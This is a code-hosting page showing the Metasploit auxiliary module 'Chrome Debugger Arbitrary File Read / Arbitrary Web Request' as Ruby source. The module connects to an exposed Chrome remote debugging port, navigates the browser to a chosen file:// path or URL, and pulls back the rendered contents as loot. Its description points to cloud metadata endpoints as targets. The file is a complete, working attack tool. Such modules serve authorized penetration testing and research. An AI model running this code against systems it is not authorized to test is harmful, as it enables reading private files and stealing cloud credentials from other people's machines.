Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/chrome_debugger.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'eventmachine'6require 'faye/websocket'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'Chrome Debugger Arbitrary File Read / Arbitrary Web Request',14'Description' => %q{15This module uses the Chrome Debugger's API to read16files off the remote file system, or to make web requests17from a remote machine. Useful for cloud metadata endpoints!18},19'Author' => [20'Adam Baldwin (Evilpacket)', # Original ideas, research, proof of concept, and msf module21'Nicholas Starke (The King Pig Demon)' # msf module22],23'DisclosureDate' => '2019-09-24',24'License' => MSF_LICENSE25))2627register_options(28[29Opt::RPORT(9222),30OptString.new('FILEPATH', [false, 'File to fetch from remote machine.']),31OptString.new('URL', [false, 'Url to fetch from remote machine.']),32OptInt.new('TIMEOUT', [true, 'Time to wait for response', 10])33]34)3536deregister_options('Proxies')37deregister_options('VHOST')38deregister_options('SSL')39end4041def run42if (datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty?) && (datastore['URL'].nil? || datastore['URL'].empty?)43print_error('Must set FilePath or Url')44return45end4647res = send_request_cgi({48'method' => 'GET',49'uri' => '/json'50})5152if res.nil?53print_error('Bad Response')54return55end5657data = JSON.parse(res.body).pop58EM.run do59file_path = datastore['FILEPATH']60url = datastore['URL']6162if file_path63fetch_uri = "file://#{file_path}"64else65fetch_uri = url66end6768print_status("Attempting Connection to #{data['webSocketDebuggerUrl']}")6970unless data.key?('webSocketDebuggerUrl')71fail_with(Failure::Unknown, 'Invalid JSON')72end7374driver = Faye::WebSocket::Client.new(data['webSocketDebuggerUrl'])7576driver.on :open do77print_status('Opened connection')78id = rand(1024 * 1024 * 1024)7980@succeeded = false8182EM::Timer.new(1) do83print_status("Attempting to load url #{fetch_uri}")84driver.send({85'id' => id,86'method' => 'Page.navigate',87'params' => {88url: fetch_uri89}90}.to_json)91end9293EM::Timer.new(3) do94print_status('Sending request for data')95driver.send({96'id' => id + 1,97'method' => 'Runtime.evaluate',98'params' => {99'expression' => 'document.documentElement.outerHTML'100}101}.to_json)102end103end104105driver.on :message do |event|106print_status('Received Data')107108data = JSON.parse(event.data)109110if data['result']['result']111loot_path = store_loot('chrome.debugger.resource', 'text/plain', rhost, data['result']['result']['value'], fetch_uri, 'Resource Gathered via Chrome Debugger')112print_good("Stored #{fetch_uri} at #{loot_path}")113@succeeded = true114end115end116117EM::Timer.new(datastore['TIMEOUT']) do118EventMachine.stop119fail_with(Failure::Unknown, 'Unknown failure occurred') unless @succeeded120end121end122end123end124125126